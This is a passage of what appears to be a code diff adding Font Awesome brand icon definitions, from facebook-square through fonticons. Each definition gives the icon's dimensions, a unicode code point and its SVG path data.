7.93-24.16-4.6-17.11-15.67l73-115.57a37.36 37.36 0 0 1 53.91-9.93l58.06 43.46a15 15 0 0 0 18 0l78.41-59.38c10.44-7.98 24.14 4.54 17.09 15.62z" ], + "facebook-square": [ 448, 512, [], "f082", "M400 32H48A48 48 0 0 0 0 80v352a48 48 0 0 0 48 48h137.25V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.27c-30.81 0-40.42 19.12-40.42 38.73V256h68.78l-11 71.69h-57.78V480H400a48 48 0 0 0 48-48V80a48 48 0 0 0-48-48z" ], + "fantasy-flight-games": [ 512, 512, [], "f6dc", "M256 32.86L32.86 256 256 479.14 479.14 256 256 32.86zM88.34 255.83c1.96-2 11.92-12.3 96.49-97.48 41.45-41.75 86.19-43.77 119.77-18.69 24.63 18.4 62.06 58.9 62.15 59 .68.74 1.07 2.86.58 3.38-11.27 11.84-22.68 23.54-33.5 34.69-34.21-32.31-40.52-38.24-48.51-43.95-17.77-12.69-41.4-10.13-56.98 5.1-2.17 2.13-1.79 3.43.12 5.35 2.94 2.95 28.1 28.33 35.09 35.78-11.95 11.6-23.66 22.97-35.69 34.66-12.02-12.54-24.48-25.53-36.54-38.11-21.39 21.09-41.69 41.11-61.85 60.99a42569.01 42569.01 0 0 1-41.13-40.72zm234.82 101.6c-35.49 35.43-78.09 38.14-106.99 20.47-22.08-13.5-39.38-32.08-72.93-66.84 12.05-12.37 23.79-24.42 35.37-36.31 33.02 31.91 37.06 36.01 44.68 42.09 18.48 14.74 42.52 13.67 59.32-1.8 3.68-3.39 3.69-3.64.14-7.24-10.59-10.73-21.19-21.44-31.77-32.18-1.32-1.34-3.03-2.48-.8-4.69 10.79-10.71 21.48-21.52 32.21-32.29.26-.26.65-.38 1.91-1.07 12.37 12.87 24.92 25.92 37.25 38.75 21.01-20.73 41.24-40.68 61.25-60.42 13.68 13.4 27.13 26.58 40.86 40.03-20.17 20.86-81.68 82.71-100.5 101.5zM256 0L0 256l256 256 256-256L256 0zM16 256L256 16l240 240-240 240L16 256z" ], + fedex: [ 640, 512, [], "f797", "M586 284.5l53.3-59.9h-62.4l-21.7 24.8-22.5-24.8H414v-16h56.1v-48.1H318.9V236h-.5c-9.6-11-21.5-14.8-35.4-14.8-28.4 0-49.8 19.4-57.3 44.9-18-59.4-97.4-57.6-121.9-14v-24.2H49v-26.2h60v-41.1H0V345h49v-77.5h48.9c-1.5 5.7-2.3 11.8-2.3 18.2 0 73.1 102.6 91.4 130.2 23.7h-42c-14.7 20.9-45.8 8.9-45.8-14.6h85.5c3.7 30.5 27.4 56.9 60.1 56.9 14.1 0 27-6.9 34.9-18.6h.5V345h212.2l22.1-25 22.3 25H640l-54-60.5zm-446.7-16.6c6.1-26.3 41.7-25.6 46.5 0h-46.5zm153.4 48.9c-34.6 0-34-62.8 0-62.8 32.6 0 34.5 62.8 0 62.8zm167.8 19.1h-94.4V169.4h95v30.2H405v33.9h55.5v28.1h-56.1v44.7h56.1v29.6zm-45.9-39.8v-24.4h56.1v-44l50.7 57-50.7 57v-45.6h-56.1zm138.6 10.3l-26.1 29.5H489l45.6-51.2-45.6-51.2h39.7l26.6 29.3 25.6-29.3h38.5l-45.4 51 46 51.4h-40.5l-26.3-29.5z" ], + fedora: [ 448, 512, [], "f798", "M225 32C101.3 31.7.8 131.7.4 255.4L0 425.7a53.6 53.6 0 0 0 53.6 53.9l170.2.4c123.7.3 224.3-99.7 224.6-223.4S348.7 32.3 225 32zm169.8 157.2L333 126.6c2.3-4.7 3.8-9.2 3.8-14.3v-1.6l55.2 56.1a101 101 0 0 1 2.8 22.4zM331 94.3a106.06 106.06 0 0 1 58.5 63.8l-54.3-54.6a26.48 26.48 0 0 0-4.2-9.2zM118.1 247.2a49.66 49.66 0 0 0-7.7 11.4l-8.5-8.5a85.78 85.78 0 0 1 16.2-2.9zM97 251.4l11.8 11.9-.9 8a34.74 34.74 0 0 0 2.4 12.5l-27-27.2a80.6 80.6 0 0 1 13.7-5.2zm-18.2 7.4l38.2 38.4a53.17 53.17 0 0 0-14.1 4.7L67.6 266a107 107 0 0 1 11.2-7.2zm-15.2 9.8l35.3 35.5a67.25 67.25 0 0 0-10.5 8.5L53.5 278a64.33 64.33 0 0 1 10.1-9.4zm-13.3 12.3l34.9 35a56.84 56.84 0 0 0-7.7 11.4l-35.8-35.9c2.8-3.8 5.7-7.2 8.6-10.5zm-11 14.3l36.4 36.6a48.29 48.29 0 0 0-3.6 15.2l-39.5-39.8a99.81 99.81 0 0 1 6.7-12zm-8.8 16.3l41.3 41.8a63.47 63.47 0 0 0 6.7 26.2L25.8 326c1.4-4.9 2.9-9.6 4.7-14.5zm-7.9 43l61.9 62.2a31.24 31.24 0 0 0-3.6 14.3v1.1l-55.4-55.7a88.27 88.27 0 0 1-2.9-21.9zm5.3 30.7l54.3 54.6a28.44 28.44 0 0 0 4.2 9.2 106.32 106.32 0 0 1-58.5-63.8zm-5.3-37a80.69 80.69 0 0 1 2.1-17l72.2 72.5a37.59 37.59 0 0 0-9.9 8.7zm253.3-51.8l-42.6-.1-.1 56c-.2 69.3-64.4 115.8-125.7 102.9-5.7 0-19.9-8.7-19.9-24.2a24.89 24.89 0 0 1 24.5-24.6c6.3 0 6.3 1.6 15.7 1.6a55.91 55.91 0 0 0 56.1-55.9l.1-47c0-4.5-4.5-9-8.9-9l-33.6-.1c-32.6-.1-32.5-49.4.1-49.3l42.6.1.1-56a105.18 105.18 0 0 1 105.6-105 86.35 86.35 0 0 1 20.2 2.3c11.2 1.8 19.9 11.9 19.9 24 0 15.5-14.9 27.8-30.3 23.9-27.4-5.9-65.9 14.4-66 54.9l-.1 47a8.94 8.94 0 0 0 8.9 9l33.6.1c32.5.2 32.4 49.5-.2 49.4zm23.5-.3a35.58 35.58 0 0 0 7.6-11.4l8.5 8.5a102 102 0 0 1-16.1 2.9zm21-4.2L308.6 280l.9-8.1a34.74 34.74 0 0 0-2.4-12.5l27 27.2a74.89 74.89 0 0 1-13.7 5.3zm18-7.4l-38-38.4c4.9-1.1 9.6-2.4 13.7-4.7l36.2 35.9c-3.8 2.5-7.9 5-11.9 7.2zm15.5-9.8l-35.3-35.5a61.06 61.06 0 0 0 10.5-8.5l34.9 35a124.56 124.56 0 0 1-10.1 9zm13.2-12.3l-34.9-35a63.18 63.18 0 0 0 7.7-11.4l35.8 35.9a130.28 130.28 0 0 1-8.6 10.5zm11-14.3l-36.4-36.6a48.29 48.29 0 0 0 3.6-15.2l39.5 39.8a87.72 87.72 0 0 1-6.7 12zm13.5-30.9a140.63 140.63 0 0 1-4.7 14.3L345.6 190a58.19 58.19 0 0 0-7.1-26.2zm1-5.6l-71.9-72.1a32 32 0 0 0 9.9-9.2l64.3 64.7a90.93 90.93 0 0 1-2.3 16.6z" ], + figma: [ 384, 512, [], "f799", "M14 95.7924C14 42.8877 56.8878 0 109.793 0H274.161C327.066 0 369.954 42.8877 369.954 95.7924C369.954 129.292 352.758 158.776 326.711 175.897C352.758 193.019 369.954 222.502 369.954 256.002C369.954 308.907 327.066 351.795 274.161 351.795H272.081C247.279 351.795 224.678 342.369 207.666 326.904V415.167C207.666 468.777 163.657 512 110.309 512C57.5361 512 14 469.243 14 416.207C14 382.709 31.1945 353.227 57.2392 336.105C31.1945 318.983 14 289.5 14 256.002C14 222.502 31.196 193.019 57.2425 175.897C31.196 158.776 14 129.292 14 95.7924ZM176.288 191.587H109.793C74.2172 191.587 45.3778 220.427 45.3778 256.002C45.3778 291.44 73.9948 320.194 109.381 320.416C109.518 320.415 109.655 320.415 109.793 320.415H176.288V191.587ZM207.666 256.002C207.666 291.577 236.505 320.417 272.081 320.417H274.161C309.737 320.417 338.576 291.577 338.576 256.002C338.576 220.427 309.737 191.587 274.161 191.587H272.081C236.505 191.587 207.666 220.427 207.666 256.002ZM109.793 351.795C109.655 351.795 109.518 351.794 109.381 351.794C73.9948 352.015 45.3778 380.769 45.3778 416.207C45.3778 451.652 74.6025 480.622 110.309 480.622C146.591 480.622 176.288 451.186 176.288 415.167V351.795H109.793ZM109.793 31.3778C74.2172 31.3778 45.3778 60.2173 45.3778 95.7924C45.3778 131.368 74.2172 160.207 109.793 160.207H176.288V31.3778H109.793ZM207.666 160.207H274.161C309.737 160.207 338.576 131.368 338.576 95.7924C338.576 60.2173 309.737 31.3778 274.161 31.3778H207.666V160.207Z" ], + firefox: [ 512, 512, [], "f269", "M503.52,241.48c-.12-1.56-.24-3.12-.24-4.68v-.12l-.36-4.68v-.12a245.86,245.86,0,0,0-7.32-41.15c0-.12,0-.12-.12-.24l-1.08-4c-.12-.24-.12-.48-.24-.6-.36-1.2-.72-2.52-1.08-3.72-.12-.24-.12-.6-.24-.84-.36-1.2-.72-2.4-1.08-3.48-.12-.36-.24-.6-.36-1-.36-1.2-.72-2.28-1.2-3.48l-.36-1.08c-.36-1.08-.84-2.28-1.2-3.36a8.27,8.27,0,0,0-.36-1c-.48-1.08-.84-2.28-1.32-3.36-.12-.24-.24-.6-.36-.84-.48-1.2-1-2.28-1.44-3.48,0-.12-.12-.24-.12-.36-1.56-3.84-3.24-7.68-5-11.4l-.36-.72c-.48-1-.84-1.8-1.32-2.64-.24-.48-.48-1.08-.72-1.56-.36-.84-.84-1.56-1.2-2.4-.36-.6-.6-1.2-1-1.8s-.84-1.44-1.2-2.28c-.36-.6-.72-1.32-1.08-1.92s-.84-1.44-1.2-2.16a18.07,18.07,0,0,0-1.2-2c-.36-.72-.84-1.32-1.2-2s-.84-1.32-1.2-2-.84-1.32-1.2-1.92-.84-1.44-1.32-2.16a15.63,15.63,0,0,0-1.2-1.8L463.2,119a15.63,15.63,0,0,0-1.2-1.8c-.48-.72-1.08-1.56-1.56-2.28-.36-.48-.72-1.08-1.08-1.56l-1.8-2.52c-.36-.48-.6-.84-1-1.32-1-1.32-1.8-2.52-2.76-3.72a248.76,248.76,0,0,0-23.51-26.64A186.82,186.82,0,0,0,412,62.46c-4-3.48-8.16-6.72-12.48-9.84a162.49,162.49,0,0,0-24.6-15.12c-2.4-1.32-4.8-2.52-7.2-3.72a254,254,0,0,0-55.43-19.56c-1.92-.36-3.84-.84-5.64-1.2h-.12c-1-.12-1.8-.36-2.76-.48a236.35,236.35,0,0,0-38-4H255.14a234.62,234.62,0,0,0-45.48,5c-33.59,7.08-63.23,21.24-82.91,39-1.08,1-1.92,1.68-2.4,2.16l-.48.48H124l-.12.12.12-.12a.12.12,0,0,0,.12-.12l-.12.12a.42.42,0,0,1,.24-.12c14.64-8.76,34.92-16,49.44-19.56l5.88-1.44c.36-.12.84-.12,1.2-.24,1.68-.36,3.36-.72,5.16-1.08.24,0,.6-.12.84-.12C250.94,20.94,319.34,40.14,367,85.61a171.49,171.49,0,0,1,26.88,32.76c30.36,49.2,27.48,111.11,3.84,147.59-34.44,53-111.35,71.27-159,24.84a84.19,84.19,0,0,1-25.56-59,74.05,74.05,0,0,1,6.24-31c1.68-3.84,13.08-25.67,18.24-24.59-13.08-2.76-37.55,2.64-54.71,28.19-15.36,22.92-14.52,58.2-5,83.28a132.85,132.85,0,0,1-12.12-39.24c-12.24-82.55,43.31-153,94.31-170.51-27.48-24-96.47-22.31-147.71,15.36-29.88,22-51.23,53.16-62.51,90.36,1.68-20.88,9.6-52.08,25.8-83.88-17.16,8.88-39,37-49.8,62.88-15.6,37.43-21,82.19-16.08,124.79.36,3.24.72,6.36,1.08,9.6,19.92,117.11,122,206.38,244.78,206.38C392.77,503.42,504,392.19,504,255,503.88,250.48,503.76,245.92,503.52,241.48Z" ], + "firefox-browser": [ 512, 512, [], "e007", "M189.37,152.86Zm-58.74-29.37C130.79,123.5,130.71,123.5,130.63,123.49Zm351.42,45.35c-10.61-25.5-32.08-53-48.94-61.73,13.72,26.89,21.67,53.88,24.7,74,0,0,0,.14.05.41-27.58-68.75-74.35-96.47-112.55-156.83-1.93-3.05-3.86-6.11-5.74-9.33-1-1.65-1.86-3.34-2.69-5.05A44.88,44.88,0,0,1,333.24.69a.63.63,0,0,0-.55-.66.9.9,0,0,0-.46,0l-.12.07-.18.1.1-.14c-54.23,31.77-76.72,87.38-82.5,122.78a130,130,0,0,0-48.33,12.33,6.25,6.25,0,0,0-3.09,7.75,6.13,6.13,0,0,0,7.79,3.79l.52-.21a117.84,117.84,0,0,1,42.11-11l1.42-.1c2-.12,4-.2,6-.22A122.61,122.61,0,0,1,291,140c.67.2,1.32.42,2,.63,1.89.57,3.76,1.2,5.62,1.87,1.36.5,2.71,1,4.05,1.58,1.09.44,2.18.88,3.25,1.35q2.52,1.13,5,2.35c.75.37,1.5.74,2.25,1.13q2.4,1.26,4.74,2.63,1.51.87,3,1.8a124.89,124.89,0,0,1,42.66,44.13c-13-9.15-36.35-18.19-58.82-14.28,87.74,43.86,64.18,194.9-57.39,189.2a108.43,108.43,0,0,1-31.74-6.12c-2.42-.91-4.8-1.89-7.16-2.93-1.38-.63-2.76-1.27-4.12-2C174.5,346,149.9,316.92,146.83,281.59c0,0,11.25-41.95,80.62-41.95,7.5,0,28.93-20.92,29.33-27-.09-2-42.54-18.87-59.09-35.18-8.85-8.71-13.05-12.91-16.77-16.06a69.58,69.58,0,0,0-6.31-4.77A113.05,113.05,0,0,1,173.92,97c-25.06,11.41-44.55,29.45-58.71,45.37h-.12c-9.67-12.25-9-52.65-8.43-61.08-.12-.53-7.22,3.68-8.15,4.31a178.54,178.54,0,0,0-23.84,20.43A214,214,0,0,0,51.9,133.36l0,0a.08.08,0,0,1,0,0,205.84,205.84,0,0,0-32.73,73.9c-.06.27-2.33,10.21-4,22.48q-.42,2.87-.78,5.74c-.57,3.69-1,7.71-1.44,14,0,.24,0,.48-.05.72-.18,2.71-.34,5.41-.49,8.12,0,.41,0,.82,0,1.24,0,134.7,109.21,243.89,243.92,243.89,120.64,0,220.82-87.58,240.43-202.62.41-3.12.74-6.26,1.11-9.41,4.85-41.83-.54-85.79-15.82-122.55Z" ], + "first-order": [ 448, 512, [], "f2b0", "M12.9 229.2c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4h-.2zM224 96.6c-7.1 0-14.6.6-21.4 1.7l3.7 67.4-22-64c-14.3 3.7-27.7 9.4-40 16.6l29.4 61.4-45.1-50.9c-11.4 8.9-21.7 19.1-30.6 30.9l50.6 45.4-61.1-29.7c-7.1 12.3-12.9 25.7-16.6 40l64.3 22.6-68-4c-.9 7.1-1.4 14.6-1.4 22s.6 14.6 1.4 21.7l67.7-4-64 22.6c3.7 14.3 9.4 27.7 16.6 40.3l61.1-29.7L97.7 352c8.9 11.7 19.1 22.3 30.9 30.9l44.9-50.9-29.5 61.4c12.3 7.4 25.7 13.1 40 16.9l22.3-64.6-4 68c7.1 1.1 14.6 1.7 21.7 1.7 7.4 0 14.6-.6 21.7-1.7l-4-68.6 22.6 65.1c14.3-4 27.7-9.4 40-16.9L274.9 332l44.9 50.9c11.7-8.9 22-19.1 30.6-30.9l-50.6-45.1 61.1 29.4c7.1-12.3 12.9-25.7 16.6-40.3l-64-22.3 67.4 4c1.1-7.1 1.4-14.3 1.4-21.7s-.3-14.9-1.4-22l-67.7 4 64-22.3c-3.7-14.3-9.1-28-16.6-40.3l-60.9 29.7 50.6-45.4c-8.9-11.7-19.1-22-30.6-30.9l-45.1 50.9 29.4-61.1c-12.3-7.4-25.7-13.1-40-16.9L241.7 166l4-67.7c-7.1-1.2-14.3-1.7-21.7-1.7zM443.4 128v256L224 512 4.6 384V128L224 0l219.4 128zm-17.1 10.3L224 20.9 21.7 138.3v235.1L224 491.1l202.3-117.7V138.3zM224 37.1l187.7 109.4v218.9L224 474.9 36.3 365.4V146.6L224 37.1zm0 50.9c-92.3 0-166.9 75.1-166.9 168 0 92.6 74.6 167.7 166.9 167.7 92 0 166.9-75.1 166.9-167.7 0-92.9-74.9-168-166.9-168z" ], + "first-order-alt": [ 496, 512, [], "f50a", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 488.21C115.34 496.21 7.79 388.66 7.79 256S115.34 15.79 248 15.79 488.21 123.34 488.21 256 380.66 496.21 248 496.21zm0-459.92C126.66 36.29 28.29 134.66 28.29 256S126.66 475.71 248 475.71 467.71 377.34 467.71 256 369.34 36.29 248 36.29zm0 431.22c-116.81 0-211.51-94.69-211.51-211.51S131.19 44.49 248 44.49 459.51 139.19 459.51 256 364.81 467.51 248 467.51zm186.23-162.98a191.613 191.613 0 0 1-20.13 48.69l-74.13-35.88 61.48 54.82a193.515 193.515 0 0 1-37.2 37.29l-54.8-61.57 35.88 74.27a190.944 190.944 0 0 1-48.63 20.23l-27.29-78.47 4.79 82.93c-8.61 1.18-17.4 1.8-26.33 1.8s-17.72-.62-26.33-1.8l4.76-82.46-27.15 78.03a191.365 191.365 0 0 1-48.65-20.2l35.93-74.34-54.87 61.64a193.85 193.85 0 0 1-37.22-37.28l61.59-54.9-74.26 35.93a191.638 191.638 0 0 1-20.14-48.69l77.84-27.11-82.23 4.76c-1.16-8.57-1.78-17.32-1.78-26.21 0-9 .63-17.84 1.82-26.51l82.38 4.77-77.94-27.16a191.726 191.726 0 0 1 20.23-48.67l74.22 35.92-61.52-54.86a193.85 193.85 0 0 1 37.28-37.22l54.76 61.53-35.83-74.17a191.49 191.49 0 0 1 48.65-20.13l26.87 77.25-4.71-81.61c8.61-1.18 17.39-1.8 26.32-1.8s17.71.62 26.32 1.8l-4.74 82.16 27.05-77.76c17.27 4.5 33.6 11.35 48.63 20.17l-35.82 74.12 54.72-61.47a193.13 193.13 0 0 1 37.24 37.23l-61.45 54.77 74.12-35.86a191.515 191.515 0 0 1 20.2 48.65l-77.81 27.1 82.24-4.75c1.19 8.66 1.82 17.5 1.82 26.49 0 8.88-.61 17.63-1.78 26.19l-82.12-4.75 77.72 27.09z" ], + firstdraft: [ 384, 512, [], "f3a1", "M384 192h-64v128H192v128H0v-25.6h166.4v-128h128v-128H384V192zm-25.6 38.4v128h-128v128H64V512h192V384h128V230.4h-25.6zm25.6 192h-89.6V512H320v-64h64v-25.6zM0 0v384h128V256h128V128h128V0H0z" ], + flickr: [ 448, 512, [], "f16e", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM144.5 319c-35.1 0-63.5-28.4-63.5-63.5s28.4-63.5 63.5-63.5 63.5 28.4 63.5 63.5-28.4 63.5-63.5 63.5zm159 0c-35.1 0-63.5-28.4-63.5-63.5s28.4-63.5 63.5-63.5 63.5 28.4 63.5 63.5-28.4 63.5-63.5 63.5z" ], + flipboard: [ 448, 512, [], "f44d", "M0 32v448h448V32H0zm358.4 179.2h-89.6v89.6h-89.6v89.6H89.6V121.6h268.8v89.6z" ], + fly: [ 384, 512, [], "f417", "M197.8 427.8c12.9 11.7 33.7 33.3 33.2 50.7 0 .8-.1 1.6-.1 2.5-1.8 19.8-18.8 31.1-39.1 31-25-.1-39.9-16.8-38.7-35.8 1-16.2 20.5-36.7 32.4-47.6 2.3-2.1 2.7-2.7 5.6-3.6 3.4 0 3.9.3 6.7 2.8zM331.9 67.3c-16.3-25.7-38.6-40.6-63.3-52.1C243.1 4.5 214-.2 192 0c-44.1 0-71.2 13.2-81.1 17.3C57.3 45.2 26.5 87.2 28 158.6c7.1 82.2 97 176 155.8 233.8 1.7 1.6 4.5 4.5 6.2 5.1l3.3.1c2.1-.7 1.8-.5 3.5-2.1 52.3-49.2 140.7-145.8 155.9-215.7 7-39.2 3.1-72.5-20.8-112.5zM186.8 351.9c-28-51.1-65.2-130.7-69.3-189-3.4-47.5 11.4-131.2 69.3-136.7v325.7zM328.7 180c-16.4 56.8-77.3 128-118.9 170.3C237.6 298.4 275 217 277 158.4c1.6-45.9-9.8-105.8-48-131.4 88.8 18.3 115.5 98.1 99.7 153z" ], + "font-awesome": [ 448, 512, [], "f2b4", "M400 32H48A48 48 0 0 0 0 80V432a48 48 0 0 0 48 48H400a48 48 0 0 0 48-48V80A48 48 0 0 0 400 32ZM336 312c-31.6 11.2-41.2 16-59.8 16-31.4 0-43.2-16-74.6-16a80 80 0 0 0-25.6 4V284a85.9 85.9 0 0 1 25.6-4c31.2 0 43.2 16 74.6 16 10.2 0 17.8-1.4 27.8-4.6v-96c-10 3.2-17.6 4.6-27.8 4.6-31.4 0-43.2-16-74.6-16-25.4 0-37.4 10.4-57.6 14.4V352a16 16 0 0 1-32 0V160a16 16 0 0 1 32 0v6.4c20.2-4 32.2-14.4 57.6-14.4 31.2 0 43.2 16 74.6 16 18.6 0 28.2-4.8 59.8-16Z" ], + "font-awesome-alt": [ 448, 512, [], "f35c", "M400 32H48A48 48 0 0 0 0 80V432a48 48 0 0 0 48 48H400a48 48 0 0 0 48-48V80A48 48 0 0 0 400 32Zm16 400a16 16 0 0 1-16 16H48a16 16 0 0 1-16-16V80A16 16 0 0 1 48 64H400a16 16 0 0 1 16 16ZM201.6 152c-25.4 0-37.4 10.4-57.6 14.4V160a16 16 0 0 0-32 0V352a16 16 0 0 0 32 0V198.4c20.2-4 32.2-14.4 57.6-14.4 31.4 0 43.2 16 74.6 16 10.2 0 17.8-1.4 27.8-4.6v96c-10 3.2-17.6 4.6-27.8 4.6-31.4 0-43.4-16-74.6-16a85.9 85.9 0 0 0-25.6 4v32a80 80 0 0 1 25.6-4c31.4 0 43.2 16 74.6 16 18.6 0 28.2-4.8 59.8-16V152c-31.6 11.2-41.2 16-59.8 16C244.8 168 232.8 152 201.6 152Z" ], + "font-awesome-flag": [ 448, 512, [], "f425", "M448 48V384c-63 23-82 32-119 32-63 0-87-32-150-32-20 0-36 4-51 8V328c15-4 31-8 51-8 63 0 87 32 150 32 20 0 35-3 55-9V135c-20 6-35 9-55 9-63 0-87-32-150-32-51 0-75 21-115 29V448a31.6 31.6 0 0 1-32 32A31.6 31.6 0 0 1 0 448V64A31.6 31.6 0 0 1 32 32 31.6 31.6 0 0 1 64 64V77c40-8 64-29 115-29 63 0 87 32 150 32C366 80 385 71 448 48Z" ], + "font-awesome-logo-full": [ 3992, 512, [ "Font Awesome" ], "f4e6", "M1209.7 156.5c-57.8 0-102 43.9-102 99.1 0 56 44.6 99.1 102 99.1 57.4 0 102-43.1 102-99.1C1311.7 200.4 1267.5 156.5 1209.7 156.5Zm0 152.7c-35.1 0-51.8-27.4-51.8-53.2 0-25.8 16.7-53.2 51.8-53.2 35.1 0 51.8 27.8 51.8 53.2C1261.1 281.8 1244.8 309.2 1209.7 309.2Zm962.1-136.1c-4.4-10.9-12.3-16.5-23.5-16.5s-19.1 5.6-23.5 16.5l-59.4 145.8c-7.2 17.7 2.8 27.4 4.4 29a24.6 24.6 0 0 0 17.5 6.8c10.8 0 18.7-6 23.1-18.1l4-10.1h67.7l4 10.1c4.8 12.1 12.3 18.1 23.1 18.1a24.6 24.6 0 0 0 17.5-6.8c10-10.1 6.8-22.6 4.4-29Zm-43 113.6 19.1-56 19.1 56Zm-574.5-130.1c-14.3 0-24.7 10.9-24.7 25.4v76.5l-68.5-85.8c-4.4-5.6-11.6-16.1-25.5-16.1-19.1 0-24.3 17.7-24.3 25.4V329.7c0 14.1 10.4 25.4 24.7 25.4 14.3 0 24.7-10.9 24.7-25.4V252.8l68.9 86.2c4.8 5.6 11.6 16.1 25.5 16.1 19.1 0 23.9-17.3 23.9-25.4V181.9C1579 167.4 1568.6 156.5 1554.3 156.5Zm-554.1 1.6H916.5c-19.9 0-25.1 17.3-25.1 25.4V328.1c0 19.7 16.7 25.4 24.7 25.4 8 0 24.7-5.2 24.7-25.4V285h44.6c12.8 0 22.7-9.3 22.7-22.6 0-17.7-15.5-22.1-22.7-22.1H940.8V203.6h59.4c12.8 0 22.7-9.3 22.7-22.6C1022.9 163 1007.3 158.1 1000.2 158.1Zm815.1 0H1691.7c-7.2 0-22.7 4.4-22.7 22.2 0 13.3 10 22.6 22.7 22.6h37V327.7c0 14.1 10.4 25.4 24.7 25.4 14.3 0 24.7-10.9 24.7-25.4V202.8h37c12.7 0 22.7-9.3 22.7-22.6C1837.9 163 1822.4 158.1 1815.2 158.1Zm1789.5-1.6c-9.6 0-17.5 6-25.1 18.1l-46.6 76.1L3486.4 174.6q-10.8-18.1-25.1-18.1c-19.5 0-24.7 18.1-24.7 25.8V329.7c0 14.1 10.4 25.4 24.7 25.4s24.7-10.9 24.7-25.4V262.8L3510.7 302.7c6.4 10.1 13.9 15.3 22.3 15.3 8.8 0 15.9-5.2 22.3-15.3l24.7-39.9v66.9c0 14.1 10.3 25.4 24.7 25.4 14.3 0 24.7-10.9 24.7-25.4V182.3C3629.4 174.2 3624.6 156.5 3604.7 156.5Zm248.6 149.8h-65.7V272.9h39.4c11.9 0 21.1-8.9 21.1-20.9 0-12.1-9.2-20.9-21.1-20.9h-39.4V204.8h62.1c12.8 0 22.7-9.3 22.7-22.6 0-17.7-15.6-22.2-22.7-22.2h-86.4c-19.9 0-25.1 17.3-25.1 25.4V326.5c0 8.1 5.2 25.4 25.1 25.4h90c12.8 0 22.7-9.3 22.7-22.6C3876 311.2 3860.5 306.3 3853.3 306.3ZM3235 156.5c-57.8 0-102 43.9-102 99.1 0 56 44.6 99.1 102 99.1 57.4 0 102-43.1 102-99.1C3337 200.4 3292.8 156.5 3235 156.5Zm0 152.7c-35.1 0-51.8-27.4-51.8-53.2 0-25.8 16.7-53.2 51.8-53.2 35.1 0 51.8 27.8 51.8 53.2C3286.8 281.8 3270.1 309.2 3235 309.2ZM2550.2 156.5c-11.2 0-19.1 5.6-23.1 16.5l-34.3 94.7-31.5-92.2c-4.4-12.5-12.3-18.9-24.3-18.9-11.9 0-19.9 6.4-24.3 18.9l-31.5 92.2-34.3-95.5q-5.4-15.7-22.7-15.7c-6.8 0-12.3 2.4-17.5 7.3-5.2 5.2-10.8 14.5-4.8 28.6l55.8 145.8c4 11.3 11.6 16.9 23.1 16.9q16.7 0 22.7-16.9l33.5-91.8 33.5 91.8q6 16.9 22.7 16.9c11.2 0 19.1-5.6 23.1-16.9l55.8-145.8c3.6-9.3 4.4-19.3-4.8-28.6A23 23 0 0 0 2550.2 156.5Zm444.2 81-21.9-9.3c-11.9-4.8-16.3-8.5-16.3-15.7q0-12.1 16.7-12.1c12.7 0 19.5 7.7 24.3 10.9 7.2 5.2 18.3 6.8 27.9-2 10.8-10.5 6.8-23.8 1.2-30.6-12.3-14.9-30.3-22.2-53.8-22.2-19.1 0-35.1 5.2-47.4 15.7-12.3 10.5-18.7 24.2-18.7 41.1 0 24.2 15.9 43.5 47.8 57.6l19.5 8.9c15.9 6.8 19.1 9.7 19.1 17.7 0 9.3-6.4 14.1-19.5 14.1-19.1 0-34.7-14.9-36.3-16.1-10.8-7.3-21.5-2-26.3 2.8-6.8 6.4-12.7 20.9 3.2 36.2 6.8 6.4 15.5 11.7 26.7 15.3a94.6 94.6 0 0 0 32.7 5.6c19.9 0 36.7-5.2 49.8-16.1 13.1-10.9 19.5-25.4 19.5-43.5q0-20.5-12-33.8C3022.7 253.2 3010.7 244.3 2994.4 237.5Zm-206.4 68.9h-65.7V272.9h39.4c12 0 21.1-8.9 21.1-20.9 0-12.1-9.2-20.9-21.1-20.9h-39.4V204.8h62.1c12.8 0 22.7-9.3 22.7-22.6 0-17.7-15.5-22.2-22.7-22.2h-86.4c-19.9 0-25.1 17.3-25.1 25.4V326.5c0 8.1 5.2 25.4 25.1 25.4h90c12.7 0 22.7-9.3 22.7-22.6C2810.8 311.2 2795.2 306.3 2788 306.3ZM178.3 49.1c-50.5 0-74.4 20.7-114.6 28.7V65A31.8 31.8 0 1 0 0 65V447a31.8 31.8 0 0 0 63.7 0V141.4c40.2-8 64.1-28.7 114.6-28.7 62.5 0 86 31.8 148.4 31.8 20.3 0 35.4-2.8 55.3-9.2v191c-19.9 6.4-35 9.2-55.3 9.2-62.5 0-86.4-31.8-148.4-31.8-20.3 0-36.2 3.6-50.9 8V375.4a159.1 159.1 0 0 1 50.9-8c62.5 0 86 31.8 148.4 31.8 37 0 56.1-9.6 119-31.8V49.1C382.8 71.4 363.7 80.9 326.7 80.9 264.2 80.9 240.4 49.1 178.3 49.1Z" ], + fonticons: [ 448, 512, [], "f280", "M0 32v448h448V32zm187 140.9c-18.4 0-19 9.9-19 27.4v23.3c0 2.4-3.5 4.4-.6 4.4h67.4l-11.1 37.3H168v112.9c0 5.8-2 6.7 3.2 7.3l43.5 4.1v25.1H84V389l21.3-2c5.2-.6 6.7-2.3 6.7-7.9V267.7c0-2.3-2.9-2.3-5.8-2.3H84V228h28v-21c0-49.6 26.5-70 77.3-70 34.1 0 64.7 8.2 64.7 52.8l-50.7 6.1c.3-18.7-4.4-23-16.3-23zm74.3 241.8v-25.1l20.4-2.6c5.2-.6 7.6-1.7 7.6-7.3V271.8c0-4.1-2.9-6.7-6.7-7.9l-24.2-6.4 6.7-29.5h80.2v151.7c0 5.8-2.6 6.4 2.9 7.3l15.7 2.6v25.1zm80.8-255.5l9 33.2-7.3 7.3-31.2-16.6-31.2 16.6-7.3-7.3 9-33.2-21.8-24.2 3.5-9.6h27.7l15.5-28h9.3l15.5 28h27.7l3.5 9.6z" ], + "fonticons-fi": [ 384, 512, [], "f3a2", "M114.4 224h92.4l-15.2 51.2h-76.4V433c0 8-2.8 9.2 4.4 10l59.6 5.6V483H0v-35.2l29.2-2.8c7.2-.8 9.2-3.2 9.2-10.8V278.4c0-3.2-4-3.2-8-3.2H0V224h38.4v-28.8c0-68 36.4-96 106-96 46.8 0 88.8 11.2 88.8 72.4l-69.6 8.4c.4-25.6-6-31.6-22.4-31.6-25.2 0-26 13.6-26 37.6v32c0 3.2-4.8 6-.8 